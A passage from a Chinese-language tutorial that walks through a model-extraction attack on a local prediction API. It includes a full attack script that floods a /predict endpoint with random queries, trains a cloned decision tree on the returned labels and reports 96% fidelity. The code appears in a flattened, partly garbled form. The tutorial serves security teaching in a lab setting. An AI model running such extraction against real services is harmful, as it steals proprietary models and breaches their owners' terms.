/>

三、核心实战：模型窃取教程

我们的实战目标是：通过不断查询/predict接口，构建一个数据集，然后用这个数据集训练出一个我们自己的决策树模型，使其功能与服务器上的target_api模型高度一致。

1.

步骤一：数据查询与收集

我们需要生成大量随机数据点，发送给API，并将API的返回结果（特别是预测的类别）保存下来。

• 目的：创建用于训练克隆模型的数据集(X_syn***tic,

  y_api_labels)。

2.

步骤二：克隆模型训练

使用上一步收集到的数据集，训练一个新的、我们完全控制的本地模型。

• 目的：得到一个功能近似于目标模型的克隆模型。

3.

步骤三：效果验证

比较原始模型和克隆模型在同一份测试集上的表现，验证窃取是否成功。

• 目的：量化窃取效果，通常用准确率一致性来衡量。

4.

完整可运行示例与自动化脚本

下面的stealing_script.py脚本将上述三个步骤完全自动化。

它包含了详细的注释、错误处理和可调参数。

• stealing_script.py(模型窃取攻击脚本)

  #
  语言:
  自动化执行模型窃取攻击，从目标API窃取一个决策树模型#
  警告:
  本脚本仅可用于经授权的渗透测试环境，严禁用于非法用途！importrequestsimportnumpyasnpfromsklearn.treeimportDecisionTreeClassifierfromsklearn.metricsimportaccuracy_scorefromsklearn.datasetsimportload_irisimporttime#
  ---
  ---TARGET_API_URL="http://127.0.0.1:5000/predict"NUM_QUERIES=2000#
  查询API的次数，越高窃取效果越好，但成本也越高#
  鸢尾花数据集特征的合理范围FEATURE_MIN=[4.0,2.0,1.0,0.1]FEATURE_MAX=[8.0,4.5,7.0,2.5]defquery_target_api(features):"""
  查询目标API并获取预测结果
  """try:response=requests.post(TARGET_API_URL,json={"features":features})response.raise_for_status()#
  如果请求失败
  抛出异常returnresponse.json()['prediction']exceptrequests.exceptions.RequestExceptionase:print(f"[-]
  API请求失败:{e}")returnNonedefmain():"""
  主函数，执行模型窃取全流程
  """print("---
  [阶段一：数据收集]
  ---")print(f"[*]
  准备向{TARGET_API_URL}发起{NUM_QUERIES}次查询...")syn***tic_data=[]api_labels=[]start_time=time.time()foriinrange(NUM_QUERIES):#
  生成随机的、在合理范围内的特征数据random_features=[np.random.uniform(FEATURE_MIN[j],FEATURE_MAX[j])forjinrange(4)]#
  查询API获取标签label=query_target_api(random_features)iflabelisnotNone:syn***tic_data.append(random_features)api_labels.append(label)#
  打印进度if(i+1)%200==0:print(f"
  已完成查询:{i+1}/{NUM_QUERIES}")end_time=time.time()print(f"[+]
  数据收集完成！共获得{len(api_labels)}条有效数据，耗时{end_time-start_time:.2f}秒。
  ")ifnotapi_labels:print("[-]
  未能从API获取任何数据，攻击中止。
  ")returnX_syn***tic=np.array(syn***tic_data)y_api_labels=np.array(api_labels)print("\n---
  [阶段二：克隆模型训练]
  ---")#
  使用收集到的数据训练我们自己的模型#
  我们猜测对方可能也是决策树，所以也用决策树来克隆cloned_model=DecisionTreeClassifier(max_depth=3,random_state=42)cloned_model.fit(X_syn***tic,y_api_labels)print("[+]
  克隆模型训练完成！")print("\n---
  [阶段三：效果验证]
  ---")#
  使用原始的鸢尾花测试数据来验证克隆模型的效果#
  注意：在真实场景中，我们没有这个测试集，但这里用于教学演示iris=load_iris()X_test,y_test=iris.data,iris.target#
  简单起见，用全集做测试#
  获取目标模型的真实预测结果作为基准print("[*]
  正在获取目标API在测试集上的预测结果作为基准...")target_model_predictions=[]forfeaturesinX_test:prediction=query_target_api(features.tolist())ifpredictionisnotNone:target_model_predictions.append(prediction)ifnottarget_model_predictions:print("[-]
  无法获取基准预测，验证中止。
  ")return#
  获取克隆模型的预测结果cloned_model_predictions=cloned_model.predict(X_test)#
  比较两个模型的预测一致性（Fidelity）fidelity=accuracy_score(target_model_predictions,cloned_model_predictions)print(f"\n[SUCCESS]
  模型窃取成功！")print(f"
  =>
  (Fidelity):{fidelity:.4f}")#
  比较与真实标签的准确率cloned_accuracy=accuracy_score(y_test,cloned_model_predictions)print(f"
  =>
  (Accuracy):{cloned_accuracy:.4f}")if__name__=="__main__":main()

5.

运行与结果分析

1. 确保target_api.py仍在运行。

2. 在另一个终端中运行攻击脚本：

   python
   stealing_script.py

预期输出结果：

---
[阶段一：数据收集]
0.9600

结果解读：

• 预测一致性

  (Fidelity)高达96%，这意味着我们窃取的模型在96%的情况下，其行为和原始的目标模型完全一样。

• 分类准确率

  (Accuracy)也达到了96%，说明我们的克隆模型不仅行为相似，而且分类效果也同样出色。

• 我们成功地在完全黑盒的情况下，仅通过2000次API调用，就几乎完美地复制了目标的核心模型功能。

  这就是模型窃取实战的威力。